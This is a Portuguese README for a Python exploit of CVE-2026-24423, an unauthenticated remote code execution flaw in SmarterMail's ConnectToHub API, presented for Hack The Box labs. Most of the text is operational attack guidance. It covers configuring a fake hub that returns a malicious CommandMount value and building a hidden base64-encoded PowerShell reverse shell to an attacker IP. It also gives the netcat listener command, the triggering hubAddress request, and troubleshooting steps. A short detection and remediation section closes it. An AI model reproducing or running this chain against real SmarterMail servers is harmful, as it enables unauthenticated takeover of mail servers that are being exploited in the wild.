
Exploit para CVE-2026-24423 — uma RCE crítica não autenticada na API ConnectToHub do SmarterMail. Afeta todas as versões anteriores à 9511.
Um exploit baseado em Python para CVE-2026-24423, uma vulnerabilidade de Execução Remota de Código não autenticada na funcionalidade ConnectToHub do SmarterTools SmarterMail.
Uso pretendido: Apenas testes de segurança autorizados, CTFs, laboratórios Hack The Box e ambientes de pesquisa controlados.
CVE-2026-24423 é uma vulnerabilidade de Execução Remota de Código não autenticada que afeta o SmarterTools SmarterMail.
A vulnerabilidade existe na funcionalidade ConnectToHub. Um atacante não autenticado pode fornecer um hubAddress malicioso, fazendo com que o servidor SmarterMail realize uma solicitação HTTP para um servidor controlado pelo atacante.
O servidor malicioso responde com uma resposta setup-initial-connection manipulada contendo um valor SystemMount.CommandMount controlado.
A instância vulnerável do SmarterMail subsequentemente processa esse valor como um comando do sistema operacional, permitindo a execução arbitrária de comandos no contexto de segurança do serviço SmarterMail.
A vulnerabilidade recebeu uma pontuação CVSS 4.0 de 9.3 (Crítica) e é classificada como CWE-306: Ausência de Autenticação para Função Crítica.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-24423 |
| Fornecedor | SmarterTools |
| Produto | SmarterMail |
| Vulnerabilidade | Execução Remota de Código não autenticada |
| CWE | CWE-306 |
| CVSS v4.0 | 9.3 Crítico |
| CVSS v3.1 | 9.8 Crítico |
| Vetor de Ataque | Rede |
| Autenticação | Nenhuma |
| Interação do Usuário | Nenhuma |
| Complexidade | Baixa |
| Publicado | 23 de janeiro de 2026 |
| Build Corrigido | 9511 |
O registro oficial do CVE descreve o problema como um RCE não autenticado através do método de API ConnectToHub.
As versões do SmarterMail anteriores ao Build 9511 são afetadas.
O registro do CVE especifica o intervalo afetado como:
SmarterMail < 100.0.9511
O Build 9511, lançado em 15 de janeiro de 2026, contém a correção do fornecedor.
< 100.0.9511
>= 100.0.9511
Sempre verifique o build exato instalado antes de tentar reproduzir a vulnerabilidade.
A funcionalidade vulnerável é exposta através da API de administração do sistema SmarterMail.
A operação relevante é:
/api/v1/settings/sysadmin/connect-to-hub
O endpoint aceita um parâmetro hubAddress.
Conceitualmente, um atacante pode fornecer:
{
"hubAddress": "http://ATTACKER_IP:8081",
"oneTimePassword": "temporary-value",
"nodeName": "DC"
}
O SmarterMail então se conecta ao endereço de hub fornecido e solicita:
/web/api/node-management/setup-initial-connection
O servidor controlado pelo atacante responde com JSON contendo um objeto SystemMount malicioso.
A propriedade importante é:
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
O valor CommandMount é subsequentemente usado pelo aplicativo vulnerável como um comando do sistema operacional.
Isso permite que um atacante faça a transição de:
Solicitação HTTP não autenticada
para:
Execução remota de comandos
A análise técnica da VulnCheck confirma que o hubAddress controlado pelo atacante faz com que o SmarterMail solicite o endpoint setup-initial-connection do atacante e que o CommandMount retornado pode fornecer execução arbitrária de comandos.
O exploit consiste em dois componentes:
O servidor Python escuta por:
POST /web/api/node-management/setup-initial-connection
e retorna uma resposta JSON manipulada contendo o SystemMount.CommandMount malicioso.
Um listener TCP separado recebe a conexão iniciada pelo comando executado no alvo.
Este exploit usa intencionalmente duas portas separadas.
8081
└── Hub Falso do SmarterMail
4455
└── Listener de Reverse Shell
flowchart LR
A[Atacante<br/>10.10.14.50]
H[Hub Falso do SmarterMail<br/>TCP/8081]
T[Alvo SmarterMail<br/>10.129.57.86]
C[CommandMount<br/>Execução de Comando]
P[PowerShell]
L[Listener de Reverse Shell<br/>TCP/4455]
A -->|Acionar ConnectToHub| T
T -->|HTTP POST| H
H -->|JSON Malicioso| T
T -->|CommandMount| C
C --> P
P -->|TCP Reverso| L
L --> AAlvo
|
| HTTP
v
10.10.14.50:8081
Alvo
|
| TCP
v
10.10.14.50:4455
Essas portas servem a propósitos diferentes e não devem ser confundidas.
O exploit usa apenas módulos da biblioteca padrão do Python:
http.server
json
base64
Nenhum pacote Python externo é necessário.
Edite as seguintes variáveis:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
Para o ambiente HTB de exemplo:
LHOST = 10.10.14.50
LPORT = 4455
HUB_PORT = 8081
LHOST é o endereço IP do atacante que o alvo pode alcançar.
Para Hack The Box, este é normalmente o IP atribuído à interface VPN do HTB:
ip addr show tun0
Exemplo:
tun0:
inet 10.10.14.50
Portanto:
LHOST = "10.10.14.50"
LPORT é a porta TCP usada pelo atacante para receber a conexão reversa.
Exemplo:
LPORT = 4455
HUB_PORT é a porta HTTP usada pelo hub malicioso do SmarterMail.
Exemplo:
HUB_PORT = 8081
git clone https://github.com/<username>/<repository>.git
cd <repository>
Edite:
nano exploit.py
Defina:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
Abra um terminal:
nc -lvnp 4455
Esperado:
Listening on 0.0.0.0 4455
Mantenha este terminal aberto.
Abra um segundo terminal:
python3 exploit.py
Se a vinculação à porta selecionada exigir privilégios elevados:
sudo python3 exploit.py
Saída esperada:
============================================================
SmarterMail fake hub
============================================================
[+] LHOST: 10.10.14.50
[+] LPORT: 4455
[+] HUB: 10.10.14.50:8081
[+] Waiting for SmarterMail...
============================================================
Envie a solicitação apropriada para a instância vulnerável do SmarterMail.
O hubAddress fornecido deve apontar para o servidor HTTP malicioso:
{
"hubAddress": "http://10.10.14.50:8081",
"oneTimePassword": "tempst",
"nodeName": "DC"
}
O valor importante é:
http://10.10.14.50:8081
Não use a porta do reverse shell como porta do hub.
| Propósito | IP | Porta |
|---|---|---|
| VPN do Atacante | 10.10.14.50 | — |
| Hub Falso do SmarterMail | 10.10.14.50 | 8081 |
| Reverse Shell | 10.10.14.50 | 4455 |
| Alvo HTB | 10.129.57.86 | — |
O fluxo resultante é:
hubAddress
↓
10.10.14.50:8081
↓
CommandMount Malicioso
↓
PowerShell
↓
10.10.14.50:4455
O exploit cria dinamicamente o payload do PowerShell.
O parâmetro -EncodedCommand do PowerShell espera que o comando seja codificado usando UTF-16LE antes da codificação Base64.
O script executa:
encoded = base64.b64encode(
PS.encode("utf-16le")
).decode()
O comando final é estruturado como:
powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand <BASE64>
Isso evita a codificação manual do payload e previne erros comuns de codificação UTF-8/UTF-16LE.
Quando o alvo alcança o hub malicioso:
[+] Received SmarterMail connection
[+] Path: /web/api/node-management/setup-initial-connection
[+] Body: ...
[+] Sending CommandMount payload
[+] Reverse shell -> 10.10.14.50:4455
O listener de reverse shell deve subsequentemente receber uma conexão:
Connection received on 10.129.57.86 XXXXX
Uma vez conectado, a validação básica pode ser executada:
whoami
hostname
Verifique se o servidor está escutando:
ss -lntp | grep 8081
Verifique o endereço VPN:
ip addr show tun0
Confirme que LHOST corresponde ao endereço alcançável a partir do alvo.
Uma solicitação HTTP bem-sucedida significa que o primeiro estágio está funcionando:
Alvo
|
| HTTP
v
Hub Falso :8081
Isso não significa necessariamente que o segundo estágio foi bem-sucedido.
Verifique:
ss -lntp | grep 4455
Certifique-se de que o Netcat foi iniciado antes de acionar o exploit.
Também verifique:
LHOST = IP do atacante alcançável pelo alvo
LPORT = porta do listener
Se você vir:
POST /web/api/node-management/setup-initial-connection
dentro do Netcat, você apontou o hubAddress para o listener de reverse shell.
Incorreto:
hubAddress = http://10.10.14.50:4455
Correto:
hubAddress = http://10.10.14.50:8081
As duas portas devem permanecer separadas.
Uma resposta 400 pode ocorrer quando o hub falso não retorna a estrutura esperada pelo SmarterMail.
Verifique se a resposta contém:
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
Também certifique-se de que o caminho solicitado seja exatamente:
/web/api/node-management/setup-initial-connection
A análise pública da vulnerabilidade identifica este endpoint como parte do fluxo vulnerável do ConnectToHub.
Adicione capturas de tela do laboratório HTB aqui.
Exemplo:

Captura de tela sugerida:

Mostre:
[+] Received SmarterMail connection
[+] Sending CommandMount payload

Mostre a solicitação contendo:
{
"hubAddress": "http://10.10.14.50:8081"
}

Mostre:
Connection received on 10.129.57.86
e o prompt de comando resultante.
smartermail-rce/
│
├── exploit.py
├── README.md
│
└── screenshots/
├── nmap.png
├── burp-request.png
├── fake-hub.png
└── reverse-shell.png
Indicadores potenciais de exploração incluem solicitações inesperadas para:
/api/v1/settings/sysadmin/connect-to-hub
e conexões de saída do servidor SmarterMail para hosts HTTP anteriormente desconhecidos.
Os administradores também devem revisar os logs de aplicação, IIS/reverse-proxy e rede para atividade suspeita do ConnectToHub.
O CVE-2026-24423 foi incluído no catálogo de Vulnerabilidades Exploradas Conhecidas da CISA, indicando que a exploração foi observada fora de ambientes de laboratório.
A remediação primária é atualizar o SmarterMail para o Build 9511 ou posterior. O lançamento do fornecedor em 15 de janeiro de 2026 corrigiu a vulnerabilidade.
Onde a aplicação imediata de patches não for possível, as organizações devem adicionalmente considerar:
ConnectToHub.Este projeto é fornecido apenas para pesquisa de segurança autorizada e fins educacionais.
Não use este exploit contra sistemas que você não possui ou para os quais não tem permissão explícita para testar.
O autor não assume nenhuma responsabilidade por uso indevido, danos, perda de dados, acesso não autorizado ou outras consequências resultantes do uso deste software.
Use apenas em ambientes controlados, como:
O CVE-2026-24423 foi creditado a:
O CVE foi publicado pela VulnCheck em 23 de janeiro de 2026.